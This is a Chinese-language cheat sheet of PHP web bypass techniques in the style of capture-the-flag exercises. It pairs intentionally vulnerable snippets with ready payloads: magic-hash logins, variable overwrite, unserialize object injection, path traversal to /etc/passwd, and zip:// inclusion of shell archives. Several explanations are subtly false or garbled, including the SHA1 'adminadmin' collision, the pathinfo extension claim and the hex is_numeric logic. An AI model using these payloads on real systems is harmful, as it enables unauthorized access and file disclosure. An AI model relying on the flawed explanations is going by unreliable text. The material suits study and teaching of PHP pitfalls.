PHP 比较运算符详解
在 PHP 中,比较操作分为弱类型比较和严格类型比较。不同的比较方式可能导致意料之外的结果,尤其是在涉及类型转换时。
==
使用双等号(==)进行比较时,PHP 会自动进行隐式类型转换,只要值相等即可返回 true,不要求类型一致。
常见示例:
当字符串以数字字符开头时,在数值上下文中会被转换为对应的数字,后续非数字部分将被忽略。
例如:
这种机制是“0e 漏洞”产生的根源——当两个哈希值都以 "0e" 开头时,它们会被当作科学计数法处理,视为 0,从而导致弱比较下相等。
如:
"0e12345" == "0e54321" → true
布尔值在比较中也会发生类型转换:
空字符串、null 和仅包含空白的字符串在与数字比较时可能被转为 0。
数组在某些情况下也会被转换:
===
三等号(===)表示恒等比较,要求两个操作数的类型相同且值相同,不会进行任何类型转换。
示例:
由于不进行类型转换,严格比较能有效避免弱类型漏洞,推荐用于安全敏感场景。
!=
该运算符基于弱类型比较逻辑,判断两值是否不相等,行为与 == 相反。
例如:
"1abc" != 1 → false(因为 "1abc" == 1 成立,所以不等为假)
!==
与 === 对应,!== 要求类型或值任意一个不同即返回 true。
示例:
<?php
$flag1 = $flag2 = $flag3 = $flag4 = false;
$real_pass = "0e123456789";
if (isset($_GET['pass']) && $_GET['pass'] == $real_pass) {
$flag1 = true;
}
$blacklist = 0;
if (isset($_GET['val']) && $_GET['val'] != $blacklist) {
$flag2 = true;
}
if (isset($_POST['auth']) && $_POST['auth'] === 1) {
$flag3 = true;
}
if (
isset($_POST['id']) &&
floatval($_POST['id']) !== "1" &&
$_POST['id'] == 1
) {
$flag4 = true;
}
?>
GET :?pass=0e9999999&val=1
POST:auth[]=1
id=1abc
当使用弱比较(==)比较两个看起来像科学计数法的字符串时,PHP 会尝试将其解释为浮点数。
若两个不同的字符串其 MD5 值均为 "0e" 开头(即被视为 0 × 10^exp = 0),则会被认为相等。
已知 0e 哈希值(MD5 后的结果长得像科学计数法的数)
240610708=0e462097431906509019562988736854
QNKCDZO=0e830400451993494058024219903391
示例:
md5('240610708') == md5('QNKCDZO') → true(在弱比较下)
<?php
if ($a != 'QNKCDZO' && md5($a) == md5('QNKCDZO')) {
echo "nb";
}
// 可用 payload: ?a=240610708
?>
应使用严格比较来验证哈希值,防止此类绕过:
===
hash_equals()
类似 MD5,SHA1 也可能生成以 "0e" 开头的哈希值,从而在弱比较中被误判为相等。
例如:
aaK1STfY → 0e76658526655756207688271159624026011393
<?php
if (sha1($a) == sha1('target')) {
echo "Welcome / FLAG";
}
// payload: ?a=aaK1STfY
?>
同样建议使用严格比较或安全函数:
===
hash_equals()
parse_str
该漏洞源于动态创建变量而未对输入做充分过滤,特别是使用了危险函数如 parse_str()。
parse_str() 函数可将查询字符串解析为变量,若目标变量未初始化,则可通过参数覆盖。
<?php
$admin = 0;
$flag = "flag{xxxx}";
parse_str($_GET['data']);
if ($admin == 1) {
echo $flag;
} else {
echo "nonono!";
}
?>
攻击者可通过构造参数使 $admin 被赋值为 1,从而触发敏感信息输出。
?data=admin=1
避免直接使用 parse_str() 到全局作用域,推荐使用其第二个参数接收结果数组,避免变量污染。
$result = []; parse_str($_GET['data'], $result); // 此时变量存储在 $result 中,不会影响原有变量
parse_str(string $query, array &$result)
extract通过将数组中的键值导入当前作用域的符号表,可以实现对已有变量的覆盖。这种机制在某些函数中被使用时,容易导致安全问题。
示例代码:
<?php
$admin = 0;
$flag = "FLAG{test_flag}";
extract($_GET);
if ($admin == 1) {
echo $flag;
} else {
echo "Not admin!";
}
?admin=1
利用动态变量名的方式,攻击者可能通过用户输入控制变量命名,从而覆盖关键变量值。
实例说明:
<?php
$var = 'secret';
$$var = $_GET['key']; // 等价于:$secret = $_GET['key'];
if ($secret === 'admin') {
echo "ok";
} else {
echo "no";
}
?key=admin
该函数会将 GET 和 POST 参数批量导入为全局变量,存在严重的变量覆盖隐患。
演示代码:
<?php
$admin = 0;
import_request_variables("gp"); // 导入所有 GET/POST 参数
if ($admin == 1) {
echo "Welcome admin";
} else {
echo "Access denied";
}
?admin=1
当 register_globals 开启时,来自 GET、POST、Cookie、Env 或 Server 的参数会被自动注册为全局变量,极易造成未经授权的变量修改。
案例展示:
<?php
$admin = 0;
if ($admin == 1) {
echo "flag";
}
?admin=1
由于 PHP 中对数组进行 md5 或 sha1 操作会返回 NULL,在松散比较(==)下可能导致逻辑绕过。
典型场景:
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
echo "FLAG";
}
意图是让 a 和 b 不相等但哈希相同,形成“哈希碰撞”挑战。
攻击载荷:?a[]=1&b[]=2
解释:md5($_GET['a']) 和 md5($_GET['b']) 均返回 NULL,NULL == NULL 成立;同时 $_GET['a'] != $_GET['b'] 也为真。
NULL
在类型判断不严格的情况下,非完整数字字符串可能绕过检测,但在数值比较中仅取前导数字部分。
strcmp 函数绕过示例:
if (strcmp($_GET['pass'], 'secret') == 0) {
echo "FLAG";
}
?pass[]=1
/*
在php5.3以下
strcmp(array, "secret") → NULL
NULL == 0 → true
绕过成功
*/
另一类数值判断绕过:
if (is_numeric($b)) exit();
if ($b > 1234) { echo $flag; }
若输入如 1234.1abc 这类字符串,is_numeric 返回 false(因含字母),但比较时按浮点数解析前缀成功。
?b=1235a
switch
PHP 在 switch-case 或 in_array 等结构中默认采用松散比较,可能被构造数据绕过。
switch 结构绕过:
switch ($_GET['type']) {
case 1: echo "A"; break;
case 2: echo "B";
}
传入字符串 "1" 也会匹配第一个分支。
?type=2abc // 字符串转数值2
/*
"2abc" == 2 → true
像 "2e0" 也能绕过(科学计数法)
*/
in_array
in_array 松散检查绕过:
$allow = [1, 2, 3];
if (in_array($_GET['id'], $allow)) { echo $flag; }
若未启用严格模式,传入字符串 "1" 仍可匹配整型 1。
?id=2abc // 字符串转数值2
/*
"2abc" == 2 → true
*/
strpos
stripos
strpos 找到子串位于开头时返回 0,若用 ! 判断会被误认为未找到。
if (!strpos($_GET['key'], "admin")) {
echo "bypass!";
}
当 key 包含 "admin" 且位于首位时,返回 0,!0 为 true,错误地进入敏感逻辑。
?key=admin123
/*
strpos("admin123", "admin") = 0 → false
!false = true → bypass
*/
empty()
empty() 将多种值视为 false,包括空字符串、0、"0"、null、false、array() 等。
if (!empty($_GET['user'])) {
login($_GET['user']);
}
即使传入 "0" 或空数组,也可能绕过检查。
"" (空字符串)
"0"
0
"0.0"
0.0
[]
null
false
?user=0
/*
绕过 empty(),但依然传入 "0"
*/
array_search
array_search 在元素位于首位置时返回索引 0,若直接用于条件判断,会被当作 false。
$allow = ['admin', 'root'];
if (array_search($_GET['role'], $allow)) {
echo "Allowed";
}
若 role=admin,则返回 0,if(0) 为 false,权限被错误拒绝。
而 role=root 时返回 1,判断为 true,反而通过验证。
?role=admin
extract($_GET, EXTR_SKIP);
$$
import_request_variables()
register_globals
register_globals = On
register_globals = Off
strcmp
is_numeric绕过技术原理:将字符串转换为浮点数进行处理。
示例代码:
<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
echo 'admin';
$_SESSION['admin'] = True;
}
else
{
echo "flag";
}
?>
array_search("root") = 1
if (1) → true
floatval()
攻击载荷(payload):
?id=1abc
防御措施:
应使用严格比较操作符,避免类型弱比较带来的安全隐患。
===
在所有条件判断中实施严格的数据类型校验。
intval()
利用 intval 函数的特性实现绕过:
示例:
if (intval($_GET['level']) == 1) echo $flag;
对应的 payload:
?level=1abc
//intval("1abc") = 1
filter_var
针对 FILTER_VALIDATE_INT 的绕过方法:
示例代码:
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
echo $flag;
}
攻击载荷:
?id=0
/*
filter_var("0", FILTER_VALIDATE_INT) = 0
if (0) → false
*/
即使是合法数字,也被过滤掉。
json_decode()
关于 true/false/null 的比较绕过:
示例:
$data = json_decode($_GET['d']); if ($data == true) echo $flag;
有效 payload:
?d=false
/*
json_decode("false") = false
false == true → false
*/
但需注意:
?id=1
/*
json_decode("1") = int(1)
1 == true → true
*/
双重 MD5 / SHA1 弱比较绕过
原理说明:
若某字符串的 MD5 值以 "0e" 开头,则其再次进行 MD5 运算后仍可能生成另一个以 "0e" 开头的字符串。由于 PHP 在进行弱比较(==)时会将此类字符串解释为科学计数法表示的浮点数(即 0 × 10^n = 0),因此两个不同的字符串可能被判定相等。
若开发者使用强比较(===),则无法触发此漏洞;但若使用弱比较(==),则可成功绕过验证逻辑。
示例代码:
if (md5(md5($a)) == md5(md5('target'))) {
echo $flag;
}
攻击载荷:
?a=240610708
解析过程:
md5('240610708')
→
0e462097431906509019562988736854
再次进行 MD5 加密:
0eXXXXXXXXXX
若结果仍为以 0e 开头的字符串,在弱比较下会被视为 0 == 0,从而达成绕过。
注意:某些特殊输入如
target
也可能具备双重 0e 特性,适用于此类攻击场景。
十六进制数字绕过(适用于 PHP < 5.3.3)
原理:
在较早版本的 PHP 中,系统会将合法的十六进制格式字符串识别为数值。例如,“0x4d2” 被当作十进制的 1234。该行为在 PHP 5.3.3 及之后版本中已被修正。
is_numeric
is_numeric("0x4d2") == true
示例代码:
if (is_numeric($b)) exit("Nope");
攻击载荷(仅限 PHP < 5.3.3):
?b=0x4d2
解释:
0x4d2
表示十六进制数,对应十进制值为 1234,会被 is_numeric 判定为数字类型,导致程序退出:
is_numeric=true
→ exit()
然而,当题目逻辑相反时(常见情况):
if (!is_numeric($b)) echo $flag;
此时可利用非数字形式的十六进制表达绕过检测:
?b=0x4d2 // is_numeric=true → !is_numeric=false → 与题目逻辑结合绕过
反序列化对象注入攻击
原理:
PHP 的 unserialize() 函数可根据用户输入还原任意对象,并填充其属性值。若程序后续逻辑依赖于对象属性(如权限判断),攻击者即可构造恶意对象实现越权访问。
unserialize()
通过控制输入,可构造指定类的对象并设置关键属性:
O:<长度>:"类名":<属性个数>:{属性}
示例代码:
$data = unserialize($_GET['data']);
if ($data->is_admin) {
echo $flag;
}
攻击载荷:
?data=O:8:"stdClass":1:{s:7:"is_admin";b:1;}
构造过程解析:
O:8:"stdClass"
→ 创建 stdClass 对象
s:7:"is_admin"
→ 设置属性名称
b:1
→ 属性值设为 True
最终生成的对象结构如下:
$data->is_admin === true
serialize
结合魔法方法(Magic Methods)的注入攻击:
__wakeup
/
__destruct
示例类定义:
class User {
public $level = 0;
function __destruct() {
if ($this->level > 9000) echo $flag;
}
}
$data = unserialize($_GET['obj']);
攻击载荷:
?obj=O:4:"User":1:{s:5:"level";i:9999;}
科学计数法绕过整数限制
示例:
if ($_GET['num'] == 1000000000000000000) echo $flag;
攻击载荷:
?num=1e18
//1e18 == 1000000000000000000
preg_match
正则匹配不完整导致的绕过(未使用锚点或数字匹配不全)
示例:
if (!preg_match("/^\d+$/", $_GET['id'])) exit();
if ($_GET['id'] > 1000) echo $flag;
攻击载荷:
?id=1234abc
//绕过方式与 is_numeric 类似,但题目常写错正则
basename()
文件包含漏洞绕过
原理:
开发者误以为使用 basename() 提取文件名可防止目录穿越攻击。
basename()
实际并不能阻止特殊构造的路径穿透。
../
示例代码:
$file = basename($_GET['file']); include($file);
攻击载荷:
?file=a.php?\..\..\secret.php
/*
basename() 得到 a.php,但 include() 实际解析路径可能变成 ../../secret.php,实现目录穿越
*/
双写绕过及其他字符串拼接类绕过方式
(此类绕过通常用于过滤机制不完善的情况,例如黑名单替换一次关键字,可通过双写使替换后恢复原词)
当 PHP 中使用条件判断时,若存在如下代码:
if ($_GET['role'] !== "admin" && sha1($_GET['role']) === sha1("admin")) ...
该逻辑看似安全,但由于哈希比较方式不当,可能被特定 payload 绕过。
?role=adminadmin
//利用 SHA1 前缀碰撞
利用 pathinfo() 函数进行文件包含绕过的技术常见于白名单校验场景。
原理在于:pathinfo() 仅提取文件名中最后一个“.”之前的扩展名部分进行判断,攻击者可通过构造特殊文件名实现绕过。
示例代码如下:
$file = $_GET['file'];
if (pathinfo($file, PATHINFO_EXTENSION) !== "php")
die("nope");
include($file);
通过在参数后添加非 php 扩展,但实际服务器仍解析为 php 的方式触发漏洞。
?
payload 示例:
?file=shell.php?.jpg
/*
pathinfo 只看到 shell.php → 扩展名 = php
include 看到的是 shell.php?.jpg
*/
realpath() 函数可用于规范化路径,并解析符号链接(symlink),但在访问控制中若仅依赖其返回路径做前缀匹配,则可能被符号链接逃逸攻击。
示例代码:
$base = "/var/www/html/uploads/";
$path = realpath($_GET['file']);
if (strpos($path, $base) !== 0) die("nope");
include($path);
攻击者可预先上传恶意文件并创建指向该文件的符号链接,然后通过访问符号链接路径绕过目录限制。
/var/www/html/uploads/safe → /etc/passwd
若已成功上传文件,可结合符号链接进行进一步利用。
uploads/safe_link → ../../secret/flag.php
?file=uploads/safe_link
/*
realpath 解析后指向 flag.php,绕过检查,造成任意文件包含
*/
Nginx 存在“路径穿越解析”漏洞,可被用于绕过文件包含限制。
该问题源于 Nginx 在处理请求路径时对特殊编码或结构的解析差异,导致本应受限的路径被错误映射到敏感文件。
某些nginx配置中:
location ~ \.php$ {
fastcgi_pass ...
}
但未加:
try_files $uri =404;
导致
/test.jpg/../../flag.php
Nginx 会把 最后一个 .php 文件交给 PHP 解释
例如以下 PHP 代码:
include($_GET['f']);
通过精心构造查询参数 f 的值,可实现对系统任意文件的包含。
?f=1.jpg/../../secret.php
/*
Nginx 会最终把 secret.php 当成 PHP 文件来执行,成功包含flag
*/
ZIP 协议包装器(zip://)是 PHP 支持的一种流协议,允许直接从压缩包中读取文件内容。
原理:PHP 能够通过 zip:// 访问 ZIP 压缩包内的指定文件,只要 zlib 扩展启用且未禁用此协议。
include "zip://archive.zip#file.php";
如果开发者未禁用相关协议处理器,攻击者可以上传一个包含恶意 PHP 文件的 ZIP 包,再通过 zip:// 协议动态包含其中的内容。
示例代码:
include($_GET['file']);
攻击载荷(Payload)示例:
?file=zip://shell.zip#exploit.php
该方式相当于将 ZIP 内部的 exploit.php 作为脚本执行,达到远程代码执行目的。
%00
空字节截断是一种经典漏洞利用技术,适用于 PHP 版本低于 5.3 且运行在非 Windows 环境下的系统。
示例代码:
include($_GET['file'] . ".php");
虽然强制附加了 .php 后缀,但可通过传入包含空字节 %00 的参数来截断后续字符,从而加载任意文件。
?file=../../etc/passwd%00
/*
最终路径解析为:../../etc/passwd
*/
文件名双写绕过是指利用某些 Web 服务器(如 IIS、Nginx)配置不当的问题。
例如上传名为 shell.php.jpg 的文件,部分服务器会因 MIME 类型识别或解析器 fallback 机制,仍将该文件交由 PHP 解析器处理。
shell.php.jpg
这种误配置使得攻击者能够绕过扩展名黑名单,实现代码执行。
对应的 payload 可设计为使用此类双重扩展名的文件名。
?file=shell.php.jpg
扫码加好友,拉您进群



收藏
